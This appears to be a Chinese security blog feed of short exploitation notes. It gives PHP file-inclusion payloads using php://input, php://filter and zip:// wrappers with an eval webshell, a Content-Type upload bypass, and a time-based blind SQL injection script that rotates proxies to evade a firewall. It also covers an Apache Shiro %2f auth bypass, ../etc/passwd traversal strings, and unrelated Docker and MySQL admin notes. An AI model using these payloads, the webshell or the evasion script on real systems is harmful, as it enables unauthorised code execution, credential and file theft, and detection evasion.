php://input需要服务器的支持,同时要求”allow_url_include”设置为On,在PHP的配置文件php.ini配置。对于一个LFI产生的漏洞比如:
index.php:
<?php
$b=$_REQUEST["b"];
@include($b);
?>
EXP:
GET http://evil.com/index.php?php://input
<?php system("id")?>
获取文件内容:
<?php echo file_get_contents("info.php");?> //测试可用
<?php echo base64_encode(file_get_contents("info.php"));?> //http://www.cnblogs.com/LittleHann/p/3665062.html 防止获取`.php`文件的时候php执行,先base64编码下,但是实际测试上述即可用。php在4点多的版本使用这个可以读出来
fimap.py 类似sqlmap.py,用来文件包含扫描,可以获取一个交互shell
另外一个php伪协议:
file=php://filter/read=convert.base64-encode/resource=image.php
用来读取php文件。
$_FILES[“file”][“type”]
这个参数是浏览器生成传递给服务端的,虽然不是用户输入数据,但是是属于客户端传递过来的数据,也就是用户其实是可以控制这个参数的。只需要修改Content-Type: image/jpeg 就可以绕过这个检查,上传任意类型的文件。
php的zip伪协议
假设有以下的代码:
file.php:
<?php
@include($_GET['a'].".jpg");
@include($_GET['b'].".php");
明细的包含,对于参数a和参数b可以这样来解决,比如有一个
shell.php:
<?php eval($_GET['c']);?>
a参数最终包含的是一个jpg,b参数是一个php
对于a来说:
mv shell.php shell.jpg
zip a.zip shell.jpg
访问: http://evil.com/file.php?a=zip://a.zip%23shell&c=phpinfo();
对于b来说:
zip b.zip shell.php
访问: http://evil.com/file.php?b=zip://b.zip%23shell&c=phpinfo();
Read More
import requests
import time
target = 'http://www.vulnerable.com'
headers = {
"Host": "www.vulnerable.com",
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0" ,
'Connection': 'close',
"Accept-Language": "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"
}
for i in range(1, 28):
cookies = {"PHPSESSID": "f4udpabdluoed7ldhfp90"}
payload = "1' or select if(length(user())={},sleep(15),1) or '1'='1".format(i)
data = {"username": payload, "userpwd": "abc"}
def val():
while 1:
r = requests.get("http://127.0.0.1:1111/time<4")
proxy = r.content.strip("[\"]")
ab = time.time()
try:
test = requests.get("http://www.vulnerable.com", headers=headers, proxies={"http": proxy}, timeout=5)
if test.content:
return (time.time() - ab), proxy
except Exception:
pass
while 1:
testtime, proxy = val()
now = time.time()
try:
req = requests.post(target, headers=headers, proxies={"http": proxy}, cookies=cookies, data=data, timeout=200)
if req.content:
print "[*]i:%s, before:%s, now:%s, Cost:%s" % (i, now, time.time(), time.time()-now)
print "[*]proxy:%s, Content:%s, Testtime:%s" % (proxy, len(req.content), testtime)
print "[*]TimeCompare: %s" % ((time.time()-now) - testtime)
print "=" * 30
break
except Exception:
pass
开个proxypool.py,然后http://127.0.0.1:1111/time<4
找个稍微好点的代理,就这样循环下去吧,这样每次请求目标之后,都会切换到下个代理。所以就不会触发防火墙啦,具体效果再说。
实测还没测出来,感觉有点悬。
Read More
Apache Shiro before 1.3.2 allows attackers to bypass intended servlet filters and gain access by leveraging use of a non-root servlet context path.
描述比较简单,官方修改的时候对于最新版本做了简单的修改:
WebUtils.java
+ contextPath = normalize(decodedRequestString(request, contextPath));
if ("/".equeal(contextPath)) {
contextPath = "";
}
return contextPath;
主要添加了上面一行,在请求处理之前先decoded,然后恢复正常。所以最后的exp很简单:
比如作为一个普通账户的时候,知道admin路径,在访问的时候访问admin路径,然后burp截断,在请求路径后面添加%2f
,即可绕过shiro路径控制。
Read More
- Docker container(容器): 应用在内部跑,有自己完整的文件系统和操作系统。
- Docker image(镜像): 应用代码各种库和文件打包一个文件,这个就是image,需要加载到容器才能运行。
docker info
docker run -t -i ubuntu /bin/bash
docker ps -a
docker start e0521aa52895
docker attach e0521aa52895
上面两个命令用一个命令代替:
docker start -a -i e0521aa52895
如果想多连shell,attach命令会卡,可以用exec让这个容器再运行一个bash
docker exec -i -t e0521aa52895 /bin/bash
docker rm e0521aa52895
docker rm $(docker ps -q -f status=exited)d
docker run -it -p 8888:80 imagine10255/centos6-lnmp-php56
我想要docker在后台运行,每次都可以进去修改一些东西,但是查了资料不太如意,docker后台运行的时候,他里面必须要有一个程序一直在运行。为了偷懒我用了screen,然后docker run -it -p 8888:80 --name web imagine10255/centos6-lnmp-php56
,这样退出之后使用docker exec -t -i 35f89fd74804 /bin/bash
。突然感觉好方便=。=
给docker起一个名字之后可以这样执行命令
docker exec web ls
docker start web
docker port web
docker修改了部分文件之后可以先退出,使得docker的container是exited状态,然后docker commit 3d1d1748aaeb web 这样保存,下次直接运行web这个images即可。
docker save IMAGENAMW |bazip2 -9 -c > img.tar.bz2
bzip2 -d -c < img.tar.bz2 |docker load
docker export <container id> |bzip2 -9 -c > img.tar.bz2
bzip2 -d -c < img.tar.bz2 | docker import - name/versio:tag
现在做一个lnmp的docker,使用ubuntu12.04,lnmp1.3版本,dockerfile如下
FROM ubuntu:12.04
ENV ROOT_PATH /root
RUN apt-get update && apt-get upgrade -y && apt-get install axel -y && apt-get install net-tools -y
WORKDIR $ROOT_PATH
RUN axel ftp://soft.vpser.net/lnmp/lnmp1.3-full.tar.gz && tar zxvf lnmp1.3-full.tar.gz && cd lnmp1.3-full
WORKDIR /root/lnmp1.3-full
RUN echo -e 8e17f72 | bash install.sh
EXPOSE 80 3306 9000
CMD ["bash"]
docker build -t user/lnmp:tag .
,在vps上面等等就ok,最后可以看到新生成的images,docker start -it IMAGEID bash
删除一些东西,mysql进不去可以这样修改
/etc/init.d/mysql stop
mysqld_safe --user=mysql --skip-grant-tables --skip-networking &
mysql -uroot -p
update user set Password=PASSWORD('newpassword') where USER='root'
FLUSH PRIVILEGES;
quit
Read More
文件包含漏洞(File Inclusion)
文件包含可能会出现在JSP、PHP、ASP等语言中,常见的函数如下:
PHP: include()、include_once()、require()、require_once()、fopen()、readfile()
文件包含是PHP的一种常见用法,主要由四个函数组成:
- include()
- require()
- include_onec()
- require_once()
当使用这4个函数包含一个新的文件,该文件将作为PHP代码执行,PHP内核并不会在意被包含的文件是什么类型。
所以如果被包含的是txt文件,图片文件,远程URL等都会作为PHP代码执行。
能够打开并且包含本地文件的漏洞称为本地文件包含漏洞(Local File Inclusion,LFI)
PHP语言是由C语言实现的,因此使用了C语言中一些字符串处理函数,在连接字符串的时候,0字节(\x00)讲作为字符串结束符。所以攻击者可以加一个0字节,截断file变量后面的字符串,即
../../etc/passwd\0
,在get请求的时候进行Urlencode,变成../../etc/passwd%00
。
如果禁用了0字节可以利用操作系统对目录最大长度的限制,可以不需要0字节而达到截断的目的。目录字符串,在windows下256字节,Linux下4096字节会达到最大值,最大值长度之后的字符串将会被丢弃。可以通过如下构造:
../../../../../../../../../../../../../../abc
- %2e%2e%2f 等同于 ../
- %2e%2e/ 同上
- ..%2f 同上
- %2e%2e%5c ..\
- %252%252%255c等同于..\
Read More